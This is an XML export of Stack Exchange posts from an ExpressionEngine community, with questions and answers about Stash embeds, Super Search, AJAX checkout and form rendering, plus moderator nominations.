  <row Id="28686" PostTypeId="2" ParentId="28685" CreationDate="2015-01-28T02:33:04.103" Score="1" Body="&lt;p&gt;You can use the same template code as before. Just need to add &lt;a href=&quot;https://objectivehtml.com/photo-frame/documentation/tag/fieldtype-url&quot; rel=&quot;nofollow&quot;&gt;{item_photo:url}&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-photo&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{item_photo:url}&quot; alt=&quot;{title} photo&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2015-01-28T05:40:54.983" LastActivityDate="2015-01-28T05:40:54.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28687" PostTypeId="1" AcceptedAnswerId="28694" CreationDate="2015-01-28T03:01:12.620" Score="1" ViewCount="58" Body="&lt;p&gt;I have a problem with a Stash embedded template being called when it's inside a switch statement (or a conditional, already tried that too) which should evaluate as false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{stash:_nav_active}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;home|404&quot;}{/case}&#xA;&#xA;    {case default=&quot;Yes&quot;}&#xA;&#xA;        {stash:embed&#xA;            name=&quot;partials:nav:{segment_1}&quot;&#xA;            process=&quot;start&quot;&#xA;        }&#xA;&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;even when &lt;code&gt;stash:_nav_active&lt;/code&gt; equals 404, the embed is being called and because the segment doesn't exist, I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Stash: the file &quot;/stash_templates/partials/nav/made-up-segment.html&quot; was not found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="116" LastActivityDate="2015-01-28T13:44:12.353" Title="Call to Stash embed being evaluated inside a Switchee statement when it shouldn't be" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28688" PostTypeId="2" ParentId="28687" CreationDate="2015-01-28T04:13:48.637" Score="0" Body="&lt;p&gt;Pretty sure I recall that if you're evaluating a stash variable you can remove the square brackets.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;variable=&quot;stash:my_var&quot; parse=&quot;inward&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-01-28T04:13:48.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28689" PostTypeId="6" CreationDate="2015-01-28T05:29:39.270" Score="0" Body="&lt;p&gt;After being a member of EE exchange for the past two years, I'd like to nominate myself for a moderator position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why vote for me? I have a long history with ExpressionEngine, starting from version 1.1. For the first 4 years (till version 1.6.x) I was a regular user, who gained his EE knowledge by researching ee code line-by-line. Now many of you know me as an addons developer. I enjoy spending time on stackexchange to answer, review and flag questions pertaining to both my addons as well as general EE related questions. My 5k reputation makes me the 11th highest ranking member on EE stack exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to become a moderator in order to help and give back to our wonderful EE community. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please feel free to ask any questions :)&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2015-01-28T05:29:39.270" LastActivityDate="2015-01-28T05:29:39.270" CommentCount="0" CommunityOwnedDate="2015-01-28T05:29:39.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="28690" PostTypeId="2" ParentId="28668" CreationDate="2015-01-28T07:12:15.833" Score="2" Body="&lt;p&gt;You could crop them in the template to make them the correct size / aspect ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a free addon for that: &lt;a href=&quot;https://github.com/bjornbjorn/img.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bjornbjorn/img.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2015-01-28T07:12:15.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28691" PostTypeId="2" ParentId="28614" CreationDate="2015-01-28T08:10:34.310" Score="2" Body="&lt;p&gt;It would be ideal if Expresso Store actually just send you a json response, but like you've mentioned, it returns the whole order object, including form errors (if any). You can see this in the module code under &lt;strong&gt;Store &gt; src &gt; Action &gt; CheckoutAction.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It returns this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ($this-&gt;ee-&gt;input-&gt;is_ajax_request()) {&#xA;    $this-&gt;ee-&gt;output-&gt;send_ajax_response(array_merge($cart-&gt;toTagArray(), static::$form_errors));&#xA;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you will need to handle the different steps of your checkout process yourself using multiple ajax calls. What we've done before is have separate ajax templates for the steps like &quot;checkout-step1&quot;, &quot;checkout-step2&quot;, etc. In these templates you'll have the &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tags as per normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your javascript files, at a minimum, you'll have an &quot;initialize&quot; and a &quot;submit&quot; function for each step. like &quot;Checkout.initStep1&quot;, &quot;Checkout.submitStep1&quot;, etc. You can also have an optional &quot;update&quot; function if you don't want the next step to load, but you're only updating something on the same step, like item quantities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On first load you'll then &quot;Checkout.initStep1&quot;, which simply loads in the step 1 template via ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In step 1's &quot;submit&quot; function, on success of your ajax call you will then call the &quot;Checkout.initStep2&quot; function to load in your step 2 template. It can look something like this (just flesh it out a bit):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Checkout.submitStep1 = function() {&#xA;    $.ajax({&#xA;        url : '/ajax/checkout-step2',&#xA;        success: function(response) {&#xA;            $('#checkout_form2_wrapper').html(response);&#xA;            fl.Checkout.initStep2();&#xA;        },&#xA;        error: function(xhr, status, err) {&#xA;            // throw error here&#xA;        }&#xA;    });&#xA;};&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your last step, after payment has been made and the order successfully processed, you can simply redirect to your success template with something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;window.location.href = '/checkout/success/' + order_hash;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the Google Analytics enchanced ecommerce tracking, make sure to add a hidden input field named &quot;submit&quot; in your last step, so the Expresso Store cookie can be set, that's needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps set you on the right track.&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2015-01-28T08:10:34.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28692" PostTypeId="2" ParentId="28667" CreationDate="2015-01-28T09:41:35.467" Score="1" Body="&lt;p&gt;This should work fine and while the code you've provided looks OK just double-check all your tags in that template are all closed properly as this is a common mistake that doesn't get caught properly by EE with an error.&lt;/p&gt;&#xA;" OwnerUserId="4994" LastActivityDate="2015-01-28T09:41:35.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28694" PostTypeId="2" ParentId="28687" CreationDate="2015-01-28T13:44:12.353" Score="2" Body="&lt;p&gt;I think since your stash embed is set to process on 'start' it will be run first before switchee, which is why you'd see a 'file not found' error if there's no stash file at that location. Try changing your embed to process=&quot;inline&quot; and see if you still get the same error.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-01-28T13:44:12.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28695" PostTypeId="1" CreationDate="2015-01-28T14:20:43.710" Score="0" ViewCount="134" Body="&lt;p&gt;I have a simple super search form and I want the results to only search in 2 custom fields, I don't want it to search titles or any of the other custom fields that I have in the channel. My code below shows you that in the results I have, per the poor documentation, used the search_in parameter but that is not limiting a search to those fields. When doing a search with a word from a title field, instead of seeing the &quot;no results&quot;, it displays a result. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;{path='/sync/ss_results'}&quot; method=&quot;post&quot; id=&quot;sc_search&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;tags-like&quot; id=&quot;keywords&quot; placeholder=&quot;Search&quot; size=&quot;18&quot; maxlength=&quot;100&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; id=&quot;search&quot; value=&quot;search&quot; /&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;&#xA;{exp:super_search:results channel=&quot;videos|series_head&quot; search_in=&quot;bible_book_chapter|sh_scripture&quot; redirect_post=&quot;no&quot; exclude_entry_ids=&quot;29|30|31|33|34|35&quot;}&#xA;{if super_search_no_results}Sorry we weren't able to find any videos listed under that passage.{/if}&#xA;    &amp;lt;div class=&quot;vid_opt&quot; id=&quot;vid_opt{count}&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{recent_video_thumb}{sh_recent_video_thumb}&quot; alt=&quot;{Title}&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2997" LastActivityDate="2015-01-28T14:20:43.710" Title="Search_in Super search" Tags="|solspace|search|supersearch|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28696" PostTypeId="1" CreationDate="2015-01-28T15:09:35.427" Score="0" ViewCount="66" Body="&lt;p&gt;Here writing again because I do not know how to solve a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Super Search and trying to search inside a channel using a keywords from other channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel-1&quot; limit=&quot;1&quot;}&#xA;&#xA;    {exp:super_search:results channel=&quot;channel-2&quot; search=&quot;keywords={channel-1-custom-field}&quot;}&#xA;        {title}&amp;lt;/br&amp;gt;&#xA;        {channel-2-custom-field}&#xA;    {/exp:super_search:results}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{super_search_total_results}&lt;/code&gt; works and gets the number of results.&#xA;I want to know how to get &lt;code&gt;{channel-2-custom-field}&lt;/code&gt; and &lt;code&gt;{title}&lt;/code&gt; from channel 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2099" LastEditorUserId="55" LastEditDate="2015-01-28T15:20:15.557" LastActivityDate="2015-05-29T07:36:01.740" Title="Super Search search between two channels" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28697" PostTypeId="2" ParentId="28681" CreationDate="2015-01-28T15:27:17.710" Score="3" Body="&lt;p&gt;Two other options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the excellent &lt;a href=&quot;https://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables plugin&lt;/a&gt; to grab GET and POST information along with a number of other variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're already using Stash on the site you can also use &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget%7D&quot; rel=&quot;nofollow&quot;&gt;{exp:stash:get}&lt;/a&gt; with the dynamic=&quot;yes&quot; parameter to look for POST and GET info.&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2015-01-28T15:27:17.710" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28698" PostTypeId="2" ParentId="28679" CreationDate="2015-01-28T15:35:48.050" Score="4" Body="&lt;p&gt;Using SendGrid or Mandrill are great suggestions. Using &lt;a href=&quot;https://devot-ee.com/add-ons/escort&quot; rel=&quot;nofollow&quot;&gt;Escort&lt;/a&gt; can help make that an easy process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to go that route you might also want to look into creating an SPF record wherever you are hosting your DNS for this domain name. That helps identify which mail servers are allowed to send email from a specific domain. There are a few wizards out there that can help you create SPF records such as &lt;a href=&quot;http://www.spfwizard.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.spfwizard.net/&lt;/a&gt; and then you need to work with your DNS host to add that record.&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2015-01-28T15:35:48.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28699" PostTypeId="1" CreationDate="2015-01-28T16:01:17.520" Score="0" ViewCount="72" Body="&lt;p&gt;Running ExpressioneEngine 2.9.2 and DevDemon Forms 3.4.12. Whenever someone submits an entry, instead of giving me the country associated with them, I get this..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Country: V=SPF1 A -ALL&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on what went wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:forms:form&#xA;    form_name=&quot;quick_request&quot;&#xA;    attr:class=&quot;mfp-hide white-popup-block&quot;&#xA;    attr:id=&quot;quickrequest&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code rendered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;quickrequest&quot; class=&quot;mfp-hide white-popup-block&quot; method=&quot;post&quot; action=&quot;http://previewradar.com/index/&quot;  enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;    &amp;lt;div class='hiddenFields'&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;58&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;FDATA&quot; value=&quot;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&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;af94139e9325ef385d8d17c725aac493a3923185&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;dform&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;dform_element dform_name dftop_label dform_required&quot; id=&quot;forms_field_41&quot; style=&quot;&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;dform_label&quot; for=&quot;ddform_41&quot;&amp;gt;Name &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;dform_container&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;dfinput_names&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;dfinput_left name_first&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;fields[41][first_name]&quot; value=&quot;&quot; class=&quot;text  required validate[required] &quot; id=&quot;ddform_41_first&quot;  /&amp;gt;&#xA;                        &amp;lt;label for=&quot;ddform_41_first&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;dfinput_left name_last&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;text&quot; name=&quot;fields[41][last_name]&quot; value=&quot;&quot; class=&quot;text  required validate[required] &quot; id=&quot;ddform_41_last&quot;  /&amp;gt;&#xA;                        &amp;lt;label for=&quot;ddform_41_last&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;br clear=&quot;all&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;dform_element dform_text_input dftop_label dform_required&quot; id=&quot;forms_field_42&quot; style=&quot;&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;dform_label&quot; for=&quot;ddform_42&quot;&amp;gt;Company &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;dform_container&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;fields[42]&quot; value=&quot;&quot; class=&quot;text required validate[required] &quot; id=&quot;ddform_42&quot; required=&quot;required&quot; placeholder=&quot;&quot; data-placeholder=&quot;&quot; maxlength=&quot;&quot;  /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;dform_element dform_email dftop_label dform_required&quot; id=&quot;forms_field_43&quot; style=&quot;&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;dform_label&quot; for=&quot;ddform_43&quot;&amp;gt;Email &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;dform_container&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;email&quot; name=&quot;fields[43]&quot; value=&quot;&quot; class=&quot;text  required validate[required,custom[email]] &quot; id=&quot;ddform_43&quot; placeholder=&quot;&quot; data-placeholder=&quot;&quot;  /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;dform_element dform_phone dftop_label dform_required&quot; id=&quot;forms_field_44&quot; style=&quot;&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;dform_label&quot; for=&quot;ddform_44&quot;&amp;gt;Phone &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;dform_container&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;dfinput_phones&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;dfinput_left phone_area&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;tel&quot; name=&quot;fields[44][area]&quot; value=&quot;&quot; class=&quot;text required validate[required,custom[onlyNumberSp]] &quot; id=&quot;ddform_44_area&quot;  /&amp;gt;&#xA;                        &amp;lt;label for=&quot;ddform_44_area&quot;&amp;gt;Area Code&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;dfinput_left phone_number&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;tel&quot; name=&quot;fields[44][phone_number]&quot; value=&quot;&quot; class=&quot;text required validate[required,custom[onlyNumberSp]] &quot; id=&quot;ddform_44_number&quot;  /&amp;gt;&#xA;                        &amp;lt;label for=&quot;ddform_44_number&quot;&amp;gt;Phone Number&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;br clear=&quot;all&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;dform_element dform_textarea dftop_label &quot; id=&quot;forms_field_45&quot; style=&quot;&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;dform_label&quot; for=&quot;ddform_45&quot;&amp;gt;How may we help you?&amp;lt;/label&amp;gt;    &#xA;            &amp;lt;div class=&quot;dform_container&quot;&amp;gt;&#xA;                &amp;lt;textarea name=&quot;fields[45]&quot; cols=&quot;50&quot; rows=&quot;4&quot; class=&quot;&quot; id=&quot;ddform_45&quot; placeholder=&quot;&quot; data-placeholder=&quot;&quot; &amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;dform_element submit_button&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;dform_container&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;dfinput_full&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;submit&quot; class=&quot;submit&quot; name=&quot;submit_button&quot; value=&quot;Save&quot; data-value=&quot;Save&quot; data-wait=&quot;Verifying...&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="273" LastEditorUserId="273" LastEditDate="2015-01-28T16:18:31.963" LastActivityDate="2015-01-28T16:18:31.963" Title="DevDemon Forms Country field is wrong" Tags="|forms|devdemon|devdemon-forms|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28700" PostTypeId="1" AcceptedAnswerId="28706" CreationDate="2015-01-28T16:44:54.927" Score="2" ViewCount="150" Body="&lt;p&gt;I've got a Multiple Site Manager set up with 3 different sites. I'm wondering if it is possible to export all EE content/channels/data from one of the sites, and import that same site data into another Multiple Site Manager instance. Is this easily accomplished, or will it involve dark SQL magic?&lt;/p&gt;&#xA;" OwnerUserId="3152" LastActivityDate="2015-01-28T21:44:48.673" Title="Is it possible to export/import a single site from MSM?" Tags="|channel-entries|multi-site-manager|multiple-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28701" PostTypeId="1" CreationDate="2015-01-28T17:00:23.137" Score="1" ViewCount="80" Body="&lt;p&gt;I have a page displaying all FreeForm entries. Now I'd like to add a search form to search the entries. I haven't found anything in the documentation about doing this so thought I'd ask here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found information about show the results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries  search:name=&quot;{last_segment}&quot; }   &#xA;&#xA;    ...&#xA;&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just not sure how to construct the search form. &lt;/p&gt;&#xA;" OwnerUserId="580" LastEditorUserId="3579" LastEditDate="2015-10-02T15:49:05.550" LastActivityDate="2015-10-02T15:49:05.550" Title="Search form for FreeForm entries" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28703" PostTypeId="6" CreationDate="2015-01-28T18:26:28.683" Score="0" Body="&lt;p&gt;I'd be happy to stay on as a moderator. Not very interested in extolling my virtues though (heh), so my interactions with folks on the site will have to speak for themselves.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-01-28T18:26:28.683" LastActivityDate="2015-01-28T18:26:28.683" CommentCount="0" CommunityOwnedDate="2015-01-28T18:26:28.683" ContentLicense="CC BY-SA 3.0" />
